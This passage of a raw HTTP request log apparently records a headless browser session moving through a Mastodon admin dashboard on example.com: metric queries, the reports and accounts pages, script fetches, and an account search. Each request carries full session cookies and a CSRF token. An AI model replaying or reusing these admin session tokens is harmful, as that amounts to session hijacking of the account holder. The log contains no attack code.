_mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"keys\":[\"interactions\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\"}"}
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 71", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"keys\":[\"active_users\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\"}"}
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 75", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"keys\":[\"resolved_reports\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\"}"}
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 73", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"keys\":[\"opened_reports\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\"}"}
{"method": "POST", "target": "/api/v1/admin/dimensions", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 78", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--db1e142b0998e82acd3397cee7d0ba51c699d1d1; _mastodon_session=0Rrsf%2BJaiWEQHLTqtATzgOCsPrkU%2FFB08mBuEHl7rb%2BmNRoEvIj3KmZwBI5hdh%2BdgitHRGdgIItTDfgI9nOph7MIvR8LUIISELVn1HaEsfULFuynvFXMkBgNiWR5SP1mqzIyuSO8UZa1JY2SWc%2Bio%2FgyR27RzoL4xzm9BZMR2lv2GhU%2FDjew357EpmrNpQPy5UcHD4zqZYx2DREWHyDVwUozh14UUm3dwrTl4JUZ6zQmwvPaF8BLDbt9o7LIio%2FhE7qHNhnC3GXxLgIEuAKiLRwYuGyOaUKEVraVbAq3Y2QrPeG1ILFjmT8EvFBtn6WSNXocWgdV%2FXY%2FIXql4%2F%2Faj2uzz1IdrEqkVPeSD9NulNb8O0WMy2%2ByKy7ODSX%2BVT1bHPkyRaoxTdjz--1kxhNi%2BFa1C88e8U--ckPUTJ5K%2FmygBBtghacHlQ%3D%3D"], "body": "{\"keys\":[\"languages\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\",\"limit\":8}"}
{"method": "POST", "target": "/api/v1/admin/dimensions", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 86", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--db1e142b0998e82acd3397cee7d0ba51c699d1d1; _mastodon_session=0Rrsf%2BJaiWEQHLTqtATzgOCsPrkU%2FFB08mBuEHl7rb%2BmNRoEvIj3KmZwBI5hdh%2BdgitHRGdgIItTDfgI9nOph7MIvR8LUIISELVn1HaEsfULFuynvFXMkBgNiWR5SP1mqzIyuSO8UZa1JY2SWc%2Bio%2FgyR27RzoL4xzm9BZMR2lv2GhU%2FDjew357EpmrNpQPy5UcHD4zqZYx2DREWHyDVwUozh14UUm3dwrTl4JUZ6zQmwvPaF8BLDbt9o7LIio%2FhE7qHNhnC3GXxLgIEuAKiLRwYuGyOaUKEVraVbAq3Y2QrPeG1ILFjmT8EvFBtn6WSNXocWgdV%2FXY%2FIXql4%2F%2Faj2uzz1IdrEqkVPeSD9NulNb8O0WMy2%2ByKy7ODSX%2BVT1bHPkyRaoxTdjz--1kxhNi%2BFa1C88e8U--ckPUTJ5K%2FmygBBtghacHlQ%3D%3D"], "body": "{\"keys\":[\"software_versions\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\",\"limit\":4}"}
{"method": "POST", "target": "/api/v1/admin/dimensions", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 76", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODI0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f7ab90a67a6952f7f1d5ad1989bd08086f1f4e0c; _mastodon_session=xANL4MXAL%2B8jQ0MKXWOwjKoLfb0lZ94Re9x2SVWVpW4rw2pruLtjmCVV1OrU6k9%2B4NxPYJ8bUIXimjCsfjonkGp%2FiyrcdmhIHE5tZRtl4eQqgMdvgtYyVgDI7Vf6wthZjj7CpKQDz1E5ZZrMkLk2Lrm6cAnEXpXrE1KETaIcpVyiM9gw%2BD6quNfPe4LbIgctdoywpTXMfoIYUfSDmP1Yv7KgYkfDN1Up%2BbiwIbA4IzqV%2B1ZmNKAgUBEmlwZN3eAxnZaMbUAE5sj9CS%2BlqVXpwHyQFSafw5riq9qZ1cLpmEN7vCJontTSzATqHRTRNFGpYJtQfjCk57Q%2BeHzjq%2FKZbhOPlLJV3uEHyuljODCdYeLM%2F2R4O6nSThC3ymgmzVRJuzgt2FAK0gEa--3PLai5uEMhDyGs1y--M%2BKfCkDjOswV9rNGGrDtYg%3D%3D"], "body": "{\"keys\":[\"servers\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\",\"limit\":8}"}
{"method": "POST", "target": "/api/v1/admin/dimensions", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 80", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODQ5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d617689168caea22e03e92d1398023c7898b9e58; _mastodon_session=odmhqgnh0FCLI1UN7llMPXgli3cLDFKN6%2B4d1TgeF7cIKSgYYHV5Awz%2BZSHH8v3L5RdooPuEZvqnEEpLV%2Fg6L2N2XfOjRPxuvDwvuA76BWHq5VIjlo3pJBhwj%2BdOrvGCU0KB06Ruh6e6UAZHjYjimF5V74h1LNTaTwGtIeeWBfj1GUlECX2vFhfdEwCx3a9o7t133UdB0KdW38aNYusGVhLMRdqf3Ka3mwFvJMYS8yd73lAsgJK9t6fEL1mggKzbto4S5tgwhckoHaQd7BKS3S1i90l1DTCGpLH0dqbmgJqEwXTNBb02AEC%2FYR7g%2FfQnn0A%2BJ%2BtoQXCIUskH8K63MwLMUt%2B%2BG0PL0i4phMNIxUDQunywRaTZ9ssQFz%2F2RL4BGpZbv4CWdC7P--rIKTUV7YxDSsfSBV--UaNLAkVX3CzhARhMe4k79w%3D%3D"], "body": "{\"keys\":[\"space_usage\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\",\"limit\":3}"}
{"method": "POST", "target": "/api/v1/admin/dimensions", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 76", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODQ5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d617689168caea22e03e92d1398023c7898b9e58; _mastodon_session=odmhqgnh0FCLI1UN7llMPXgli3cLDFKN6%2B4d1TgeF7cIKSgYYHV5Awz%2BZSHH8v3L5RdooPuEZvqnEEpLV%2Fg6L2N2XfOjRPxuvDwvuA76BWHq5VIjlo3pJBhwj%2BdOrvGCU0KB06Ruh6e6UAZHjYjimF5V74h1LNTaTwGtIeeWBfj1GUlECX2vFhfdEwCx3a9o7t133UdB0KdW38aNYusGVhLMRdqf3Ka3mwFvJMYS8yd73lAsgJK9t6fEL1mggKzbto4S5tgwhckoHaQd7BKS3S1i90l1DTCGpLH0dqbmgJqEwXTNBb02AEC%2FYR7g%2FfQnn0A%2BJ%2BtoQXCIUskH8K63MwLMUt%2B%2BG0PL0i4phMNIxUDQunywRaTZ9ssQFz%2F2RL4BGpZbv4CWdC7P--rIKTUV7YxDSsfSBV--UaNLAkVX3CzhARhMe4k79w%3D%3D"], "body": "{\"keys\":[\"sources\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\",\"limit\":8}"}
{"method": "GET", "target": "/admin/reports", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODA0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--27c80da356ef9fe99a30374d172fe45f8057676a; _mastodon_session=3de34pjGJPXC81Mg1KttHLEorCNm9pJIAZVGHJii%2BS%2FQjIqFUIVb4cizo4Ha4cLr34tcrWe5YSqMA3UTHS5CTkfeFt4VeMU8xcbpjQIjOIlycOEmbulkfjUi850DLuSaLxZIYy%2F3ezxBwGo0gLZt6jhg7X6cvUaDpOv7RbC%2FYvm%2BpX0pC367xZH3SFeLuG9ss2DLdgvoSugHD5Nz3KOsC0h8WctDxTnA5Cg7l2Ew89jXiz7fPxzobXYBPs0sXaF6BSb7PR%2BKCqEIgDVSWA%2F1yOxlbcgXru3t67WuRMFC41nkwCwBIX2E2GoIFu97Tu5UaEBPI9niiL%2BxnYykw%2FcD7QYz0KMIR5ttr906Srp5KlkfLqysliAlnuup16dWBKe0YD%2F3cHGDztKz--AflNtJYWCNysdlia--2NdptTQdzdrNHVTqUWkzhg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/notification_policies-BXXafP0v.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/reports", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDQuMjIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7cb023017d427dc1a0ef1cfc4ce3e313c70c036e; _mastodon_session=Y9QBr3x0KWiPIvGPr6eqjHpD4t7szofsKq0MY8uVJ0G6QHEIwYr8NYSKa5%2Bnewl5IhFJjGYvX6wmmQJF9vUWtee7dhBnTgT0g8rwVNuz%2BudsO0Zvrr0XTk03RRdvFLJngKwS6x%2B9GS15KAwPzXPaeNzUrImQ2Gihl1wnfWiR4I0Gs02QymthHeuAYWuOXkj%2FhYJMNVuEf2bazoxqDvLdgtKg2s2rf6lA9guVWVB9OgSXaUVND50hIHJ2hrjvVzWWy%2FnaXAlTCTZHH9UYyj9grPqK49CLiOXyyq975nfEmqzbNi0r0edpXCzUFg7JoEgXkG%2FEsluoXrwU9KcembY3KKgk0Fpx8m6%2BtZ%2FWYf1fAycbsQU8%2F%2Bhy%2Be%2Faf1ECr13WrVe5u7IwinHS--lpHju753NjxITozv--Dpt73YoYOqDUSEhLORVgmg%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/accounts", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDQuMjIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7cb023017d427dc1a0ef1cfc4ce3e313c70c036e; _mastodon_session=Y9QBr3x0KWiPIvGPr6eqjHpD4t7szofsKq0MY8uVJ0G6QHEIwYr8NYSKa5%2Bnewl5IhFJjGYvX6wmmQJF9vUWtee7dhBnTgT0g8rwVNuz%2BudsO0Zvrr0XTk03RRdvFLJngKwS6x%2B9GS15KAwPzXPaeNzUrImQ2Gihl1wnfWiR4I0Gs02QymthHeuAYWuOXkj%2FhYJMNVuEf2bazoxqDvLdgtKg2s2rf6lA9guVWVB9OgSXaUVND50hIHJ2hrjvVzWWy%2FnaXAlTCTZHH9UYyj9grPqK49CLiOXyyq975nfEmqzbNi0r0edpXCzUFg7JoEgXkG%2FEsluoXrwU9KcembY3KKgk0Fpx8m6%2BtZ%2FWYf1fAycbsQU8%2F%2Bhy%2Be%2Faf1ECr13WrVe5u7IwinHS--lpHju753NjxITozv--Dpt73YoYOqDUSEhLORVgmg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/database-D_1Mbg_g.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/accounts", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDcuMDg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b57def8fb2cbcda1094071ffca75c92d594a8143; _mastodon_session=jCvNig51jRYcPdFycizHSJU2j2xPOf5eIcaTgmcMggeLgRtVV35HLRiV%2Bgp2v9RrkKSdKFU2YW%2Fvol0iiNkKXlSTNVikMQ1aqgpHsFp9u36TlQ7nTMdyNCF9tZQuaLStCNlZY529TUm6BidXbIHzkxqs69jwfvIxiKXED4UX4vygCQzneMw%2BihSfR0OHnrmYR1LskBQVLmrerk8Xi2MKTN5wJYlK4My%2F5JHjWGSEXmS%2FLPVq2CXcjN0f80AKg55FQEoekpgYsPqUIK%2BLlFYIuRB2eDh8Sustyg%2FCID0UULx1BxJeJ36OKVb1r9gPrsHzqSwO5R6WmzIRVGcWytCbtWJ3jdF5tRjjrcmPDGnaLYHgJImO0XSzChs9eMfh%2BA6TIPYiQmYiVjzt--rlkc4UdDJScH3PCb--wQ5cFIgkqaejc35lfYn7lQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/accounts?origin=local&status=active&username=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 